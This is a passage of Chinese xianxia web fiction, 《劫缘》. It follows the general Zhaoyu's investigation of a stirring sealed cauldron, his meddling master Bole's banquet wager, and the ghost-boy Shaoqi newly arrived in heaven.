《劫缘》 1. 玉面仙官 《劫缘》全本免费阅读 青年一身贵气金丝玉华服立在天宫宝鼎神机案前,恢宏大气的宫殿里时不时传来外面庙宇金殿的响亮钟声。 他踱步于殿前,久思不解,他不解为何天宫宝鼎无缘无故下有此变动。 恰万余年前,天界与魔界支系刹摩叛贼大战三百回合之时,当年的帝君,即为如今还在闭关修养的天帝曾亲手练就一宝鼎。 名曰,“天宫宝鼎”。 这是为当年刹摩劫难中一大重器,有此仙鼎相助,才得以镇压凶兽饕餮。如此,那逍遥无度、血腥狂妄的魔族再没了帮手为虎作伥,很快就被制服了。 刹摩劫难,以天界为胜。 天帝将天宫宝鼎和被封印的饕餮压回天界,并在天宫设立天宫宝鼎神机案,用以监测远在万里无涯外的毗邻山——刹摩大劫纷争之地,亡魂数以万计,怨气冲天,一直都被与宝鼎相通的封印遏制着。 可如今,时隔万年,连昭玉这么一个严谨的神仙,对于那场刀光剑影、肝髓流野的恶战的印象都不再清晰了。这天宫宝鼎却莫名有了不安的动静来,如同诈尸。 这样的动静,不会是那饕餮有了什么动作。锁在里面的东西能有什么作为?那只恶兽定还沉睡其中。 所以定是有什么不安好心的东西在虎视眈眈,并试图破鼎释兽。 天界神仙人尽皆知,能控凶兽者魔族人也,能控饕餮者,唯刹摩一族。刹摩既灭,何来破鼎释兽一说?莫非,刹摩一族任有余孽存世? 不,这大抵是不可能的。 遥想当年昭玉还是少年时便应帝君旨意,奉命前往毗邻山,与帝君、明霞女师强强联手,灭除刹摩。他曾经亲手将掌中仙刃狠插刹摩王的胸膛,致其当机毙命。他曾经亲眼看到魔族要地战火纷飞,和那毗邻山下横尸遍野。 是他亲手将刹摩一族手刃黄泉。 只怕是有“高人”在世了,若想致使沉寂万年之久的天宫宝鼎有此小波,必不是一朝一夕的事情。 此凶兽威力无穷,被困鼎中万年岁月,想要重出天日的话,所需邪气滋养显然是不可想象的。故,此乃处心积虑之举。 来人,莫不是已经暗中谋划良久?来人是谁,又有何居心…… 回了元武大殿,他抬首见錾金大匾熠熠生辉,颇有巧工之意。檀木雕花淡雅濯濯,衬着这块大匾不落俗气。元武主殿虽气势磅礴,却不似他殿以奢华示显赫,中殿小殿皆绵延万里,云烟缭绕间,竟然一眼望不去尽头在哪里。 他出征刹摩大劫,护三界万年安康太平,从此名声大振。此次大劫后,当时的帝君封其为元武掣神将,掌管天界大支系的天兵天将,举界闻名。 不过,由于其不喜热闹,又极少露面的特点,天界关于他的传闻便千奇百怪了起来。有的说他为人极怪,有人道他凶神恶煞、冷血无情,居然也有传闻道他生得一副玉面儿郎的滋润模样……故又有“玉面仙官”之称。 话说回来。 昭玉一脸凝重地从天宫返回大殿,座下的仙兵仙将忽觉一股凉风自背后诡异袭来,不由地打了个冷颤。 “如何?” 昭玉踱步至前,先是逮着一个刚从毗邻山回来的小天兵问话,语气不急不缓,但眉宇间不苟言笑。 那小兵只觉得同他家上神说一句话都要鼓起祖宗十代八代的雄心豹子胆,何况他记得他家上神何时同他这等小喽喽对过话?不谈记得,放在先前,怕是不敢想的。 小兵抖了抖嗓子,任然不知要怎么讲才好。 “任未有果?” 昭玉瞧出了端倪,只好浅问。 昭玉叹了口近乎微弱不可察觉的气息。 那小天兵听闻上神这般,以为上神见此次出巡又毫无收获,便要如同传闻中那样大发雷霆了,那腿就抖得更厉害了。 昭玉叹气的原因实则不只与天宫宝鼎和毗邻山有关,他还叹的是,他如今这形象竟然跌到了如此地步。 先前他对外面的风言风语都视若无睹,未曾想,如今连自家的天兵天将都对他这般。他难免沮丧,身为带兵打仗的将领,怎么能丢了士心? 昭玉也不想同那小兵多有纠葛,索性抬手示意他离开:“罢了,是我太心急了。” 小兵是有些震惊的,不过见上神如此“手下留情”,便很快没了影。 现下,大殿中香火青烟与天宫庙宇间的云雾相交汇,昭玉这才察觉到今日这天界的香火旺地异常。 宫外的金钟又“磅磅”地响了几声,神圣的金光自天宫折射下来,铺满了他脚下的玉砖。他顺着那金光的方向,将目光投向殿外的远方。 他视野极阔,他看见天宫遍地扎满了喜庆的红布玉带。火红朦胧的灯火坠满天边,金碧辉煌的殿宇层层叠叠,透着云雾,有重山叠巘之态,那红火气象点缀着它们绵延万里的昌盛,如同一条火红的长龙潇洒在天。 话本中常常描述的世间奇闻中当是有这一幕的,上称,每逢乞巧节,三界皆欢,尤那仙界无拂花海世间罕有。于是,天宫遍地张灯结彩,以表三界同欢。 不过,人界乞巧节可以年年月月随便有,天界的乞巧非要等那无拂花海皆绽之时才算的上排面。这花海也不是随随便便就开的,百年一次,恨不得等死人。 是了,他总算理解那些流言蜚语最近为何如此滔滔不绝、愈演愈烈的原因了。 …… 宫女仙娥们笑面盈盈、春风拂月,个个穿金缀珠、罗烟碧裙、步瑶声渐、足下生莲……她们大多都打扮甚佳,盼着去那无拂花海一探姻缘。 热爱酒曲玩乐的老神仙们也拉帮结派了起来,很多平时公务要事在身的都借此机会远赴万里欢聚一堂,把酒言欢、杯盘狼藉。什么下棋打炮、醉卧案前、掷签投壶、作诗吟曲儿、瞎谈八卦的……什么什么的应有尽有,好不欢乐。 真道是做神仙的快乐。 大抵这天忙碌公务的,除了那月老院子外,怕就是这元武殿了。 这些日子里,元武殿下的天兵天将们都忙得“足下烧烟”,免不得日夜牢骚抱怨,个个苦不堪言。很多闲杂人等同那些见不得昭玉好的人,还会煽风点火,好一顿数落,于是乎,关于他不好的言论愈发来势汹汹。 可昭玉早已下定决心,天宫宝鼎一事,他必要查出些线索,哪怕只是蛛丝马迹,他也势必奉陪到底。 这下好了,“老人家”老脸一翻,下面的天兵天将一个个也只好低眉顺眼了起来。 今日,乞巧节的仙市事宜必定繁琐,人眼错杂间难免会出岔子。昭玉转而思索到这里,不免在心里开始打起了算盘。 过了这么久,宝鼎异动之事还未有结果,不得慌乱才是。且,今日仙家们如此怕是会懈怠所司职务,只会对管戒天界无益。 “应当同司法界天司商议一番对策。” 很快天宫的另一侧就收到了司法界发布的新令——无拂花海仙市开放时限将减半,各位仙家还应谨记自己所司所职,且需对周身异常之事多加留意。 还再三强调了三记: 切记勿忘本分! 切记安守本职! 切记行事有序! 还在同一帮老交好摸牌的蟠桃老儿刚一听闻就是破口大骂,骂那昭玉小人见不得人快活。自己累活,还不放人好过,差点就要轮起他那个老桃树拐杖去元武殿讨个说法。 好在他被人及时劝住了,毕竟这把老骨头哪里是人家元武掣大战神的对手? 这次盛会与往前的相比莫名多了诸多束缚,让人不爽得很! 资历高些的仙人仙君都在背地里笑话这元武掣白瞎操心,天帝制的鼎岂有差错? 资历低些的,连元武掣的真身都未见过半分,都只以为这是尊老古董、难伺候的大佛,玉面仙官的说法他们向来不信。 他们虽然背后嘀嘀咕咕唠叨些这个“老人家”瞎操心、喜欢捣腾人的坏脾气,但同时也在心中也逐渐为元武掣矗立了一座高达万尺不可及的形象神碑。 不过,也难怪他们会这么想,毕竟私下里昭玉是个孤僻的仙人,天宫里的宴席、仙家们的奉承,他向来冷眼摒弃。 除非事关公务,无关紧要的人物是很难见到他的,所以许多仙人都以为他是个目中无人的家伙。 此外,乞巧仙市迫在眉睫,从人群中穿过,还能隐隐听到些许不大中听的抱怨声。细细听去,果不其然,还是因为那三记。 因为这“三记”,好不容易等来的仙市却要因此缩水到原先时辰的一半。很多乞巧末尾的美景这次也不可能再见到了。 这些,这些的一切,一切的一切都是因为那要死不活的元武掣! 不提了不提了,再提,心中的怒火怕是压不住了! 诸位仙家皆想到了一块儿去,莫明而来的默契感纵使他们彼此尴尬无言地对视了几眼。脾气不大好的几位也只好憋着心中那堵气,默不作声地拂袖而去。脾气较好的也只是望着慢慢散去的几位仙家的背影,摇头作叹。 同时,那蟠桃老儿自从心中被讨了个不痛快后就一直咽不下这口气,就算还被旁人及时制止了自己的倔脾气,可这心里气一刻不发泄,他这心眼便一刻得不到安抚。 他唤了自家兄弟——寿老儿,要这寿老儿同他一块想想办法,扬言要让这元武掣栽个大跟头。 蟠桃老儿嘛,死倔脾气,不知道的还以为是只驴精变的!他成日专门研究给人使绊子的法子,从来不懂何为讨好应酬,脾气也是出了名的差,出门在外无人敢惹,是天界有名的“地头蛇”,连他弟弟都怕他。 寿老儿面对着自家兄弟在他面前唾沫星子横飞,还连用手里结实的桃木拐杖四处比划着元武掣的不是与他自己心中的不快意时。他只好紧张地看着这不得了的阵仗,一边挪着袖子擦汗,一边红着脸哆嗦。 “蟠老儿啊,咱说就这么算了吧,没多大点事儿!” “你能 2. 伯乐元君 《劫缘》全本免费阅读 天界的传音之法有很多种,不同仙家有不同的学问。家族承袭的、同僚交涉的、师徒一脉相承的......无所不有。 早些年昭玉跟了帝君办事后,性子愈发冷淡,伯乐有事时常常喊不着人,无奈之下就诱骗昭玉用他的灵根接了自己的无为仙根。 他还独创了一道霸道的“睹思”传音术,此术不可能被师徒以外的人窃听,最主要的是有强制性,昭玉再想屏蔽伯乐的聒噪都没有办法。 前些日子伯乐勤于琢磨“赌思”,用它劝昭玉好好考虑历情劫的事情,让他瞧瞧有没有哪位仙家的姑娘能入了他的眼,刚好顺应了时下无拂花海乞巧盛会的热闹。 “情”之一字,同昭玉形如八竿子打不着的关系,那昭玉向来清冷孤傲又严于律己,怎么可能会让自己拘泥于这等凡俗情爱上?何况他身为元武掣,肩上的担子叫他如何肯放得下? 他初识帝君时,帝君便叫其余闲杂人等撤去,叫他与自己屈膝对坐,相谈甚多,所涉及之面也盛广。 帝君言:“入了这恢宏天宫,凡俗那般的琐碎杂念皆应抛之脑后,爱恨情仇应被你舍弃,情欲二字更是要远远避之。” 于是乎,昭玉他从不信世间常言“只羡鸳鸯不羡仙”,只觉凡人眼界短浅。 他也从不轻易相信世间冷暖真情,也不信情爱难舍。说简单点,就是毫无人情味,冷冷冰冰的。 如今,昭玉定力极佳,近日在为天宫宝鼎异动的公事奔波四海的同时,却也能在他那师父没个正形的轰炸下幸存下来—— “徒儿,徒儿!” “近日过得可好?吃得可丰盛?睡得可踏实?马上就是乞巧了!有没有考虑考虑给师父带回来一个喜人的姑娘,我看那月宫的兔儿仙就不错,还有那东海的几位公主也很不错啊!” “害!徒儿你公务在身,不能陪师父,你怎么忍心让师父我孤寡一人?!不妨领位仙姑回来,好当师父的贴心小棉袄啊!” “情劫一事于你定是有利无弊啊!你万年劫难迫在眉睫,不出意外便是与仙玉天生相抗的雷劫,以情劫抵了雷劫,不仅毫发无损,还涨了不知道多少修为,多么划算的买卖呐!” …… 诸如此类的还有很多,此时也不多加列举了。昭玉听得一清二楚,只是有时忽然觉得他师父话到一半,就变得奇奇怪怪,叫他不禁皱眉叹息。 有时,昭玉也时时会想他这好耐性到底是不是在他师父这里磨出来的。 近日,令昭玉比较意外的是,他这师父居然话锋一转,在乞巧当天就改了口,再没谈“情劫”、“仙姑”一事,倒是又变回了老德行,嘴上开始叨叨起别的来了。怕是又心中有所求了。 按老规矩,逢年过节,他往往又因公事所累,无法亲至伯乐府。故,他每每都会叫人送上不少名酒去,以酒代人,就当是他亲自去了吧。 昭玉正想到此处,伯乐刚好借“睹思”传了新信来——“莫同以往那般又拿酒糊弄我。我要徒儿亲至,有要事相谈。” 怕是要叫他亲自去他府上听他那些所谓的“风花雪月”的学问了。如此,他便更加不能去了。 不过,这酒还是要送的。 于是,昭玉叫元武殿中的一些天将清点好西江桃林岸今年新进贡的“西江雪”,准好妥当后送入伯乐府中。 此时昭玉还不知道这个不安分的师父又给他添了个大娄子。 事情是这么开始的—— 蟠桃老儿舒坦日子过久了,早不惧那个从未见过真面的昭玉,他不服昭玉的管控,这此决心要损他个面子,并且将出发点安在了草包元君身上。 蟠桃老儿知道纵使伯乐这个死酒鬼再跟他不合,也不会拒绝一物的诱惑,那就是“桃花醉”。想当年,令这伯乐醉生梦死又求之不得的,全天下仅有这桃花醉。 桃花醉比起西江雪还要珍贵百倍乃至万倍,千年产一樽,其与西江雪不同的是,桃花醉性极烈,但却甘甜可人,饮尽一杯,便犹如美人软香入梦来。桃花醉向来是西江岸的珍宝,就算是面对天帝,也不一定舍得拿来供奉的。 蟠桃老儿故意挑唆了一帮人,在伯乐耳畔嚼起他与元武掣的坏话,引其气急败坏。 局面大乱后,他就出面,先用伯乐跟昭玉师徒不合的传言大做文章。 人多时对伯乐展开施压,对这个话题极度敏感的伯乐,一定会为了证明自己而反驳流言。 这时他提出设宴,用桃花醉引伯乐入宴,言只要昭玉也出席,就能一举否决所有师徒不合的流言。 但众所周知,元武掣殿下从不出席任何宴会,伯乐最后肯定难堪,流言乱飞不说,师徒关系定是损地厉害。 通过伯乐来损昭玉的面子,不仅不会引火上身,还能解气,这个法子对于蟠桃老儿来说如何不妙? 伯乐很快就如他所愿地上了钩,心急之下头脑不清醒,又遭了桃花醉的勾引,决然应下了这场鸿蒙宴。 好了,这场宴会,他去定了。昭玉,也必须去定了。 于是,这才有了伯乐一反常态唤睹思一事发生,不过,他可不敢直白地告诉昭玉自己闯祸了。 还妄想先用简简单单一句“要徒儿亲至,有要事相谈”把人骗过来再说。 不过,昭玉可不吃他这一套。 …… 于此同时,毗邻山貌似又有了更进一步的线索,希望也逐渐不再渺茫。 元武殿内,一位府上文将面带不解沉重地踏入主殿,先是同昭玉俯身作了揖。 “殿下......” 显然,这位文将貌似有什么难言之隐。 “若是还未有所进展,那便不用再道了。” 昭玉正凝眸观测着身下仙文铺设而来的山川地形图,这是毗邻山的山势,昭玉还在苦思不解。他见文将如此,不假思索地认为是线索又落入瓶颈,于是不恼不怒地挥挥手,意思他离去。 “殿下......其实有所进展了,”文将默默叹了口微乎其微的气。 昭玉指点金粉山川图的苍劲玉指在半空中顿住,他转而抬眼看向神色紧张的文将。 这些天彻查天宫宝鼎异动一事,昭玉可谓是快要使出了十八般武艺来,恨不得一头栽进这个“无底洞”。 因为毗邻山多次巡回未果,他便又回府动员了全府上下所有消息网,文武官员双管齐下。他其实未想过,这成天只会在天界禁书阁足不出户、阅览千书的文将先有了线索。 “为何不言?” 昭玉显然是对这位文将的做法不满,他淡然却极具威慑力的眼神看得文将心里发毛。 “此事,大抵与殿下之师——伯乐元君有些因缘,不知天书指引是否会有偏差......故不敢言。” 昭玉起初确实觉得文将所言犹如天方夜谭,这平日在大事上相对“安分守己”的师父能做什么事情?何况事情涉及的可是天宫宝鼎,伯乐尚未有此能力。 “其实若是非要追溯前因后果,准确而言,此事更与已然 3. 少七仙缘 《劫缘》全本免费阅读 元武掣殿已经在按照殿下的指示,清点今年新上供的西江雪—— “一个个的都要给我打起精神来!要是稍有差池,十个脑袋都不够你们掉的!”大殿外几位天将一边核实着礼单上的红纸金字,一边对下部们嚷嚷道,颇有架势。 诸位天将不过一会儿就开始揉起眼睛来,神色艰涩疲惫。要说是寻常礼单便好了,好歹琳琅满目的各种金石玉器、诗书墨宝什么的,也好生核实得起来。 可是如今这份礼单上,一展开,能够拖延至地的架势,居然除了酒就是酒,真是看的头脑发昏,难以核对。 上次这么头疼的时候不是随殿下征战沙场,却是——上次元武掣府为伯乐元君备礼的时候。 另一边,伯乐被蟠桃老儿戏耍的事情还是没有瞒得过昭玉,他现今觉得自己送西江雪这类清淡的酒是极度明智的选择。这样师父才能多保持些清醒,以免又像鸿蒙宴开的事情那样丢了分寸……和脑子。 所以他并不是什么都不知道,只是在装不知道。他师父念起睹思来简直太要命,他早该料到事出反常必有妖,伯乐忽然一转语锋,果没好事。 如今哎,伯乐也察觉到昭玉态度的转变,知道徒儿发现真相,立马就放弃了诱骗的路数,直接变成个痴情怨妇,恨不得成天傍着昭玉哭天喊地,求着昭玉去给他撑场子。 昭玉当然不会答应,不过以酒代人的传统还是不会因此发生什么改变。 一排排银盔玄甲的身影依旧在金碧辉煌的天街间来回穿梭,颇有秩序。每排队伍的节点都安排了不少天将负责看管,他们吆喝着,生怕出半点差池。这点差池,不谈天兵,他一个上品天将都惹不得! 因此每位天将也都恨不得打着十二分的精神,吊着个练了半把辈子、征战天下的火眼金睛,全神贯注地打理着这井然有序的盛世。 有个少年模样的小兵紧跟在一排队伍里,手里抱了一小樽负责搬运的西江雪。 仔细端摹去,少年不过十四五岁的模样,十分稚气白净,脸颊的棱角都未张开,有些说不出的衰气缭绕其身,但也说得过去。 那玄铁盔好像比他的脑袋要大整整一圈。他走起路来,那铁盔就在他头上“晃啦啦”地抖动。 此子身高也未长开,浑身上下都充斥着一种新鲜陌生的气息,因而很快引起了一位天将的怀疑。少年纤细的臂膀虽然被铁甲包裹地严严实实,但还会像一只弱不禁风的小鸡仔似的被一位天将轻易握起再揽回。 天将唤住他:“叫什么名字?!怎的从未见过你?” 随着被大力拽回的脚步,小兵漫无目的走神瞳孔里才转而显现出慌张。他自知手无缚鸡之力,只能无辜地望着魁梧奇伟的天将,瑟瑟发抖。他好像又要开始结巴了,就如清早那般。 小兵现在极度怀疑自己今日出门是不是没看黄历,他早上刚从毗邻山回来就算了,然后还莫名其妙被殿下喊住,问了个头大腿软。 如今没过多少个天时,他来充作搬酒的苦力,还要被天将逮住问个所以然。 真是,太衰了! 他好不容易才捋直了舌头,毕竟早上他连传说中那凶神恶煞的元武掣将军的厉害他都见识过了,如今还要慌什么? 话说,他的这个一紧张就容易结巴的毛病也不知道从哪里来的。虽然自从前几日来天界仙门众府报道之前这个毛病就跟着他了,但他就是横竖想不起来它是从何而起。他的记忆只是始于地府面见阎王同判官大人。 他觉得之前的所有往事都好似烟消云散了一般。他不会去想,好像潜意识里也不想去想。 “我……我我……叫作少七,前…前前……三日刚来战神将军府里报……报报到!” 果然还是死鸭子嘴硬,说好的不怂呢? “尔之少七,何为少七?!兵籍从何处,如今身处何部麾下做事情?!如数道来!” 显然这位真正凶神恶煞的天将还不肯松口,这不禁让这位名为少七的小天兵开始深刻怀疑起来,这天界判人的标准是不是都有点问题。 原先天界广为流传的穷凶极恶、严肃可怖的元武掣却让少七觉得,他倒更像是个思虑周全、行事谨慎的大哥哥而已,哪有传闻中那样可怕?反观这眼前的天将老爷才是真正的可怖雄武。 “我……我还未有兵籍,也未有直属上层。刚刚来府报道也是受人指引,来这……这里打杂。”少七紧张地咽了嗓口水,以至于不敢抬眼去看那位神武威严的将军。 “如此可疑?!” “那尔为何人指引来此天宫!” “三……三日前,我还是地府游魂,身系多根,无法投胎。受崔判官指引而来......” 是的,三日前,他还是一个灰头土脸的孤魂野鬼。他听周围地府的孤魂们告诉他,他不过也是刚死的。其实,要是没有人告诉他,他大抵还不知道自己已经死了。 哦,他死了。 怎么死的? 不知道,大抵是刚死就被灌了孟婆汤,所以忘得一干二净了。他只知道自己才不过十五六岁就死掉了,关于他亡于一场离奇的瘟疫的死因也是判官大人用判词告知的。 判词里还有些最基础的身份信息——他生前的名字叫做少七,家中七兄弟,排行老七,是个老幺,最是年少,故为少七。 他生前好像还有别的特别的身份,也不知道是什么。阎王和判官大人都不肯告诉他,说是这些不益于修行的过往都要忘却。 反正,少七自己清楚,就算他们都不愿意告诉他,他也知道自己与别的人不大一样,他大抵不是人。当然也不会是什么魑魅魍魉那么厉害的东西。现在的他,死了也只算个没人要的野鬼。 他很奇怪,他明明应该还有六个哥哥,怎么会没有任何一个来见他。若是死了的哥哥,按照地府规矩,是可以地府黄泉路上相伴而行的。若是没死的哥哥,也可在人间烧纸念经为他送行。可是,这两种待遇少七好像半个都没沾着。不然,他怎么还会是个没人认领的野鬼? 地府里只有世间牵挂之人,亲人、爱人、朋友……为已死之人念行,所死之人方才能踏上忘川黄泉,他们在川畔隔着万家不属于他们的灯火,在阑珊处眺望最后一眼人间,便可离去。 可是,少七他依旧是个野鬼。所以,这世间竟然没有任何一个在他死后肯心中思念牵挂他的人。死人,活人,都没有。但是,他好像有想要挂念的人,就是想起不起来,也没有力气想。 短短时间里,少七波澜不惊地想完一切已知的事情,目光茫然,但总让人看得心疼。 他还是个不过十五六岁的孩子,那望向远方的瞳孔里却永远都荡漾着一股漠然的悲伤与冷漠。没有人知道他到底经历了什么,就算是他自己,也不知道。 “判......判官大人道我将来自有无量仙根,却被尘俗往事所累赘,死生皆所念,身系多根多果,不得脱身。我......无法投胎,判官大人便叫我自南天门径直进来,到此天宫报道,希望能够净化过往,唤醒仙根。” 少七渐渐想地出神,于是远没了之前的结巴。 “不......不......不过!神将大人不必担心!判官大人还同我说若是我来天宫五日内还未结仙果,便要收我回那地府去。现下三日,我任然没有进展,若是大人看小的不顺眼,那也没关系,我马上就卷铺盖走人了!” 少七立马回神,将焦急的眼神抬向天将。 天降见此子不过是个人畜无害样的老实人,又因自己现下公务在身,便也懒得再计较。 于是他不耐烦地驱赶少七:“得得得,那就打起精神来,该干嘛就干嘛去!” “哎!”少七忙点头答应,如获大赦。 待队伍绵延至更远的地方,已然一眼快要望不见元武殿的古朴高楼。 西江雪的清点跟搬运的工作已经快要到尾声。 途中,少七又听闻了一些事情—— 这是一些同他一样的、刚入军不久的、甚至是今日才来府里报道充作乞巧节的苦力的天兵们的闲言碎语。 “不是传闻殿下滴酒不沾身么?怎么一口要下这么多的西江雪?” “哟,新来哒?” “这你就有所不知了!咱们殿下虽然从不留恋酒色之事,但咱们殿下的师父却是如此。 咱殿下日夜公务操劳,便以酒代人,叫咱时隔一些日子就往伯乐府里面塞酒。所以啊,外面那些疯言疯语都是唬人的!殿下可不是忘恩负义之辈,只叫是这世道太乱了些,天帝不在位,也只有咱们元武掣殿下愿意亲尽全力了! 可谓是‘举世皆浊我独清,众人皆醉我独醒’喽!” 这说话的人说着说着,言语里便带有了一种望而生畏的意思。 这元武殿的人心,其实也并没有殿下本人想象地那么糟糕。 少七听着听着,也开始默默点头钦佩,心中对于今早那个金玉华服、满面清隽的大人也有了更进一步的好感与认可,还连连心想“我倒觉得殿下大人没有传闻中那么叫人危言耸听!” 少七在这些话里还听到了新的人物——伯乐,殿下的师父。 他对昭玉已有敬畏的滤镜,对待伯乐的态度甭提多敬仰了,他认为既然是殿下的师父,那一定是位威望颇高、修为极强的上尊吧!即使是贪图酒色,那也叫风流,又有何妨勒? ...... 大部队跟进,行路已远。 少七顶着绚烂日光,光炫降临在他的视野里,随着绵延万里的金殿庙宇,他能够展望到天宫的宏图万里。再回望,他看到自己已然望不到元武殿。 而随即要映入眼帘的是更加简朴的伯乐府,他随着大流行走在人潮欢涌间,待再次回首之时,惊觉周身却唯剩下他孤身一人立在原处。 耳边喧嚣不再,天将们不耐烦的叫唤声亦不在。 他呆愣愣地抱住那樽西江雪,许久之后才渐渐意识到事情走向的不对劲。他那惯于走神儿的、漫无目的眸中里再次转出慌张。 “哎呦!”不知哪里传来一阵惨叫。 好像是个男子的哀痛叫唤声,与此同时,还有一阵重物坠地的动静传来。简直就像是某个倒霉家伙不小心摔了个痛痛快快。 少七旋即转过身去。 绵延的宫墙拖曳着绵延的廊道,风轻云淡,玉树轻轻摇动缀满玉叶的身姿,“哗啦......哗啦......”,衬托得此时此刻更为娴静。 果然,这里真的是只有他和这位中年男子了,别的人都消失地一干二净。原来这条廊道是穿插着浩荡的人潮的,却在一瞬间都不见了。 少七也不知道这算不算是件诡异的事情,可是,万里廊道朴素清雅、宫墙玉树摇曳生姿、镂空细雕园窗静待此处。就算人潮神秘散去,也无法让少七将此与“诡异”一词联想。 不远处的男子好像消停了一阵子,貌似是在观测抱着酒樽的少七的反应。他瞧见这傻孩子还没反应,就有意地多嚎了两声。 “哎呦......哎呦喂!” 少七见形式不妙,二话不说就抱着酒樽跑了起来! 他虽然才进天宫没多久,很多规矩与人情世故皆不知。可是,他曾经在地府被阎王和判官大人指点的三十六计跑为上策的道理的场景,依旧历历在目。 想当日临别之际,判官大人还语重心长地对他道:“你是地府丢上去的,那些天上人最喜欢走路拿鼻孔看人。打定瞧不起你,若是遇到什么类似欺负、勒索、敲诈、碰瓷的事情,一定要记得三十六计跑为上策!” 少七虽然年少无知,但是关于现下忽然“人去楼空”的奇怪场景,以及那拿拙劣演技碰瓷的中年男子。他怎么会看不出来?!那就跑吧! 嘿!这孩子怎么回事! 伯乐心中啐了一口,差点骂街。 “小兄弟!你别跑啊你!” 少七只是拼 4. 巧破宴局 《劫缘》全本免费阅读 乞巧日,蟠桃老儿的宴会即将开宴。 蟠府一位身着七彩祥云绣的侍从振臂而呼,随即又接过来一对儿金棒槌,往那镂空木雕边镶嵌的铜鼓上敲去,桴止响腾。 果不其然,这场宴会来了无数的人。大家都听闻这场宴会能吃到什么惊天大瓜,便都接踵而至。 无论是有帖子的,还是没帖子的都来了,一传十十传百的,没多会儿全天宫都传遍了这伯乐元君同蟠桃老儿一赌桃花醉的奇闻。 奇闻的赌注还是——元武掣殿下。听闻伯乐元君要借此宴会证明师徒情分,眼下亦不知真假。 开宴的时辰过了将近一炷香,该到的仙人也都到了,唯有昭玉还缺席着。 伯乐始终无言。 蟠桃老儿迫不及待地煽风点火起来:“天界传闻伯乐元武掣师徒不合,怕遭流言蜚语的殿下便喜以酒代人,推脱师父。如今看来,所言非虚啊。元君呐,虽我也有想要助您撤去流言蜚语的好意。却不想,天意偏不叫你如愿,何况此宴会也是您自个儿愿意凑的热闹,也怨不得别人了。” 原地不动的伯乐元君无话可说,犹如被束缚了手脚的困兽任人摆布,变成了人们口中的笑柄。他自己却不以为然,还是那副胸有成竹的模样。 “是啊,我就知道!殿下不近人情,我脑袋糊涂了!听闻元君嘴上一份说辞,居然也相信能够目睹殿下真容。还特地放下府中事务,千里迢迢踏雾而来!真是白来一趟!” 另外一堆仙人开始懊恼起来。 眼看这位带头摇头叹气的仙人就要踏门挥袖离去,一面从大老远反射下的金玉色耀光迎面而下,挡住了那仙人的去路。 “金鸡仙君且慢,”清冷温润的声线自宴外传至宴内。 声音的主人似乎正缓慢踱步而来,声线虽冷,却也带着礼貌的笑意。 “常听闻金鸡仙君与我师父都善饮酒之道。既然如此,我这定有办法让仙君不虚此行,何来这白来一趟的道理?” “诸位抱歉,公务繁重,这才使得脚程慢了一炷香。” 昭玉摆出一副温和的语气,好声好气地阐述歉意。 闻此,蟠老府内一阵哗然,有些仙人由于太过震惊甚至丢掉了手中的酒杯,以至于许久后自己还未发觉。 蟠桃老儿也是屏息而立,莫名而来的紧张感和压迫感一样一样地接踵而至。这怎么可能?!元武掣怎么可能会来?! 寿老儿何曾见过这等排面,显然神色不安起来,像是做错了事情的小孩子。他拽了拽兄长的衣袖,结果还是被嫌弃地甩开。 长殿内慢慢走进来一个玉面清风的年轻男子。虽早已褪去了少年时期的稚嫩,但也不减半分盛阳之气。 昭玉面带微微笑意,不暖不冷,不过男子向来是清冷的性子,犹如高阁远月、镜缘水月。故此笑容不仅没有给外人带来一种亲和,反而带来一种令人仰视的高贵与隔绝。 众人皆是屏息而待,有些好奇心颇重的仙家们也都开始昂起个头来,将脖子伸地老长,欲将视野展得更加宽阔,此情形颇像无数只昂头鹅正嗷嗷待哺。 “哎呦!臭小子你可算来了!诸位可擦亮眼睛瞧好了!那些鬼话事到如今可还能立得住脚?!” 伯乐眼见许久不见的徒儿,刚刚忧愁善感的面目瞬间就只剩下了一片晴霁。伯乐手舞足蹈地蹦到昭玉身侧,像极了要宣誓主权。 昭玉只是平静如水地瞥了眼伯乐,刚欲说什么,却被当即打断。 “哪儿来的雏儿?!怎的这般口无遮拦,胆敢公然冒充殿下?!”说罢,那中年魁梧的男子又以一种自以为义愤填膺的语气同伯乐道,“元君若是担心赌注不成,碍着了面子,又何必叫人糊弄我们呢!” 闻言,诸位又是一波哗然。 那男子转身又同府中诸位仙家道:“何人不知我们那位殿下老成持重?于我等而言,更是同当年帝君抑或如今天帝与女师平齐的一等一的大功臣?此人满口胡言乱语,诸位真会信?” 昭玉面色不改,只单挑了一眉,去瞧瞧何人胆敢当着他的面,有如此这番底气十足的言论。他心想自己识得此人。 并且印象尤为深刻。这是怒发仙官,人如其名,“怒发冲冠”,生得一副魁梧、不好招惹的模样,说起话来也喜用语激烈,不大好听。 至于昭玉为何对他印象深刻......还要从万年前说起,他刚凯旋归来,升任为元武掣,当时的昭玉看着比当下还要年轻气盛些,俨然一副少年模样。关于他的负面流言还未兴起,这怒发仙官是第一位赶来伯乐府道贺的人。 怒发仙官看起来是个标准的粗汉,天职却是个文官,他心里总有个武神梦却得不到实现,常叹生不逢时。 昭玉的光荣战绩让他敬仰无比,他算过昭玉的命数比自己只多了千把年,想想年纪才几千岁就有本事在战场上拔得重筹,他心里就愈发痒痒。鼓足了勇气才想着来通过伯乐的关系,拜见仰慕的前辈。 在此之前怒发并未见过昭玉,所以还以为是跟自己长得差不多的威武中年男儿。 那时恰巧不巧昭玉也在伯乐府内,怒发仙官来的突然,昭玉还没来得及介绍自己,就被怒发迎面当作不知礼数的仙童,无缘无故就被数落了一顿。 那场误会至今都没解释的清楚。万年后,怒发第听闻昭玉要来此宴,第一时间使出浑身解数赶过来。起初他一见此宴庸俗,就知道这传闻的虚假,因为他作为殿下的忠实崇拜者,断定昭玉会摒弃这样的场。在他眼里,不可能出席的殿下突然出现不说,面貌跟自己的想象也偏离了十万八千里。 他一时接受不了,本就说话不大动脑子的他气冲冲地就出头,说这殿下是人假扮。 此时伯乐已经目瞪口呆,但昭玉并不打算照顾这位激动得很的仙官,只是自顾自地往前走,衣袖扫出的浅风自带寒意,未发动一言一语就惹得那怒发仙官起了一背的冷汗。 昭玉眸子平静,眼里的目标只有蟠桃老儿一人 他立着庄重挺拔的身姿,微微颔首,语气淡然:“近日我特来此府以谢诸位款待家师之恩情。素日本君要务缠身,近来又遭遇天宫宝鼎一案,故流言蜚语在所难免。诸位仙家们既然有愿意为家师洗清怨苦的情谊,在下便觉得此情必报难却。” 昭玉平静的话如同一瓢冷水,将蟠桃老儿昔日的嚣张跋扈瞬间浇灭,气质摆在这里,老儿的喉咙好似被几口黏痰塞住,一个哼哼声都发不出来。这么多年来,他第一次感受到什么叫做“山外有山、人外有人”。 